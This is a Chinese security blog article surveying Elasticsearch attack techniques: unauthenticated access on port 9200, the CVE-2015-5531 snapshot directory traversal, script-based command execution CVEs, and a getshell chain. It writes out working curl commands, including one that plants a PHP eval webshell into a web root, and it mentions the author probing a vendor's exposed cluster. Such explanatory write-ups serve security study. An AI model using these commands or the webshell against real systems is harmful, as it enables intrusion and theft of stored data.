0×01前言
随着大数据时代的到来,越来越多的大数据技术已逐渐被应用于实际生产,但作为一个安全人员,我们关注点必然和安全相关,那大数据环境中面临的安全问题又有 哪些呢?翻了翻这方面的案例,乌云上已有不少同学发了些这相关的问题,但我发现却没有比较系统的一个整理,这里我做一个paper,整理下这方面的漏洞类 型和笔者自己所见到过的一些问题,做一个探索性的总结,希望能与各位相互交流以开阔更多思路。
0×02大数据技术介绍
这里先对大数据的一些技术做一个简单的概念介绍,来帮助一些不太了解这方面的朋友,能有个大致的概念。
Hadoop:分布式系统基础架构,主要由HDFS和MapReduce两部分组成。HDFS(分布式文件存储系统)用于将一个量级巨大的数据存储在多台 设备上,并有一定的机制保证其完整和容灾,MapReduce则是通过简单的Mapper和Reducer的抽象提供一个编程模型,可以在一个由几十台上 百台的PC组成的不可靠集群上并发地,分布式地处理大量的数据集。
Apache Saprk:新一代的大数据处理引擎,提供分布式内存抽象,以支持工作集的应用。
Hive:基于HDFS的仓储型数据仓库,数据全部存储在文件系统中。
Zookeeper:ZooKeeper是一个开放源码的分布式应用程序协调服务,提供的功能包括:配置维护、名字服务、分布式同步、组服务等。
NoSQL数据库:包括大家常见的redis、mongodb、memcache、hbase、Neo4j等,主要就是非关系型数据库。
ELK:Elasticsearch+logstash+kibana,一套开源的日志收集与分析平台。
由于大数据所涉及的范围太过庞大,应用数不胜数,相关技术更是浩瀚如海,笔者也是踏足大数据圈子不久,了解有限,暂时就例举上面这些,如各位另有高见希望能给出建议。
0×03 Elasticsearch漏洞
上面简要说道,ELK是一套开源日志收集与分析平台(Elasticsearch+logstash+kibana),其中ElasticSearch是 一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。设计用于云计算 中,能够达到实时搜索,稳定,可靠,快速,安装使用方便,本篇我们就重点探索一下Elasticsearch存在的一些安全问题。
一、未授权访问
未授权访问大概是elasticsearch目前存在的最为严重的一个安全问题了,相当多的企业将其直接放置于公网,且未作任何访问限制,导致攻击者可直 接访问到很多内部信息,前段时间笔者发现国内某大型云厂商就将其安全产品日志集群裸奔于公网,本想借机渗透,结果被发现导致未能遂愿,由此其实也反映出一 个问题,即大数据应用安全现在还未受到足够的重视,像上诉的大型厂商都存在此问题,更别说其它厂家了,那么,elasticsearch的未授权访问大概 是什么样子呢?
如下图所示,elasticsearch的默认开放端口是9200,我在本地搭建了一个环境,直接访问效果大概如下图:
从图中我们可以看到ela的版本号、建立日期、lucene版本等信息,不过这有什么软用吗?并没有,这里,我们就需要熟悉一下elasticsearch的一些基本知识了,附上一份中文翻译的《Elasticsearch权威指南》http://es.xiaoleilu.com/index.html。
Elasticsearch不同于传统数据库的存储方式,它是通过节点、索引、分片、副本等方式对数据进行区别存储,此外,它也拥有丰富的插件库,来便于我们可视化的操作数据。这里以head插件为例,通常访问路径为http://localhost:9200/_plugin/head
这个插件很方便的展示了Elasticsearch的一些功能和参数
右上角的信息可以看到很多Elasticsearch的当前状态信息,看字面意思大概就能理解是什么东西了,除此之外,还可以对这些索引进行增删查改
当然,比较关键的是我们可以看到集群中的所有数据和字段格式等信息,Elasticsearch多被用于存储日志,通常会泄漏一些包括物理路径,后台地 址,数据包帐号密码,ip地址等,这对我们后续渗透是相当有帮助的,当然,还有很多企业直接将用户信息完全存储在Elasticsearch中的,这种危 害就更不必说了,我这里附上一张实际渗透中遇到的情况。
这是某网贷平台的日志集群,清晰可见的服务器类型、网站物理路径、用户的访问记录、IP、还有访问设备、浏览器等信息因为字段太多未完全展示出来,而且通常专门使用这种日志集群的企业规模较大,数据量经常会出现百万甚至千万级。
那么,如果没有这个head插件是不是就没办法进行这些操作了呢?显然是不可能的,Elasticsearch通过发送数据包的方式即可完成head插件 中的一切功能,举个例子,比如我们想要增加一个名为dept的索引,这个索引含有employee这个类型,该类型中id为32的这条数据含有一个字段, 字段名为empname,值为emp32。我们只需要发送这么一段请求即可完成添加:
1
|
curl -XPUT ‘http://localhost:9200/dept/employee/32′ -d ‘{ “empname”: “emp32″}’
|
同样,如果我们想查看这条数据,只需要访问
http://localhost:9200/dept/employee/32
这是一个简单的例子,相关操作均可用类似的请求完成,当然,我这里只是举了head一个插件,Elasticsearch的插件库其实是相当丰富的,比如如果安装了_river插件就能直接看到数据库的连接配置信息。
我们通过shodan看一下全球对外开放的Elasticsearch有多少。
Shodan显示统计大概有28w多的主机开放了9200端口,而这个端口其它服务应用的是相当少的,抛去一些可能的影响因素,估计全球有大概20w左右的Elasticsearch服务未授权访问情况。
二、目录遍历
这个漏洞的漏洞编号为CVE-2015-5531,是去年爆发出来的一个列目录漏洞,我们看看漏洞描述:
该问题的造成原因在于Elasticsearch未对备份快照的类型做判断,导致攻击者可以构造恶意文件名形成目录遍历,影响1.0-1.6版本。
该漏洞的利用方式:
(1)新建一个数据仓库test
1
2
3
4
5
6
7
|
curl -XPUT http://127.0.0.1:9200/_snapshot/test -d ‘
{
“type”: “fs”,
“settings”: {
“location”: “/tmp/test”
}
} ‘
|
(2)新建另一个数据仓库test2,该仓库的指向位置为目录snapshot-backdata,但Elasticsearch的快照备份文件格式就是snapshot-xxx的格式。
1
2
3
4
5
6
7
|
curl -XPUT http://127.0.0.1:9200/_snapshot/test2 -d ‘
{
“type”: “fs”,
“settings”: {
“location”: “/tmp/test/snapshot-backdata”
}
} ‘
|
(3)但实际上这样就导致了snapshot-backdata被当作了test仓库的备份快照,Elasticsearch发现其是目录的时候,就会继 续读取目录中的内容,此时我们构造../../../../../etc/passwd这样的恶意文件名就可以使Elasticsearch递归读取文件 内容,从而形成目录遍历,head插件中复合查询也可轻松实现这些功能。
Freebuf有更加详细的分析(含POC):http://www.freebuf.com/vuls/99942.html
三、命令执行
Elasticsearch爆发过几起代码执行漏洞案例,比如前年的CVE-2014-3120,去年比较出名的CVE-2015-1427,两者都是利 用了其搜索功能对脚本语法的支持造成的命令执行。对于CVE-2015-1427乌云知识库对该漏洞有比较详细的分析。
这里简单说一下,爆发了CVE-2014-3120之后,Elasticsearch对搜索的脚本语言支持从MVEL换成了Groovy,还加入了沙盒, 但由于沙盒过滤不严,导致了绕过从而执行命令,原理不难,绕过就挺费心思了,这里贴上lupin的分析链接,很棒,大家自己去看吧
http://drops.wooyun.org/papers/5107
四、Getshell
这个getshell很有意思,目前中文分析只在园长的博客里有看到,应该是园长的0day?该问题已经在1.6版本之后被修复。
该方法的利用大概经历以下几个步骤:
(一) 创建恶意索引,属性中包含木马
1
2
3
4
|
curl -XPOST http://localhost:9200/test.php/test.php/1 -d’
{
“<?php eval($_POST[chr(97)]);?>“:“test”
}‘
|
(二) 创建文件仓储
1
|
curl -XDELETE http://localhost:9200/_snapshot/test.php
|
(三)将仓储备份文件目录指向web应用目录
1
2
3
4
5
6
7
|
curl -XPUT ‘http://localhost:9200/_snapshot/test.php’ -d ‘{
“type”: “fs”,
“settings”: {
“location”: “/data/httpd/htdocs/default”,
“compress”: false
}
}’
|
(四) 为仓储目录引入创建好的含有木马的索引快照
1
2
3
4
5
|
curl -XPUT “http://localhost:9200/_snapshot/test.php/test.php” -d ‘{
“indices”: “test.php”,
“ignore_unavailable”: “true”,
“include_global_state”: false
}’
|
详细分析:http://javaweb.org/?p=1779
0×04结束语
本文主要介绍了Elasticsearch的四种攻击方式,但这些漏洞除了非授权访问基本上都已被修复,大数据安全对很多安全研究者来说还是个比较陌生的 领域,因此爆出的漏洞也还相对比较少,大家对大数据应用的安全重视程度也还比较低,不过随着其逐步的发展,相信会有更多的从业者投身到该领域的研究中来。
参考文章
http://www.freebuf.com/vuls/68075.html
http://drops.wooyun.org/papers/5107
【via@91Ri.ORG团队-Stardustsky】本文系原创文,转载请注明出处。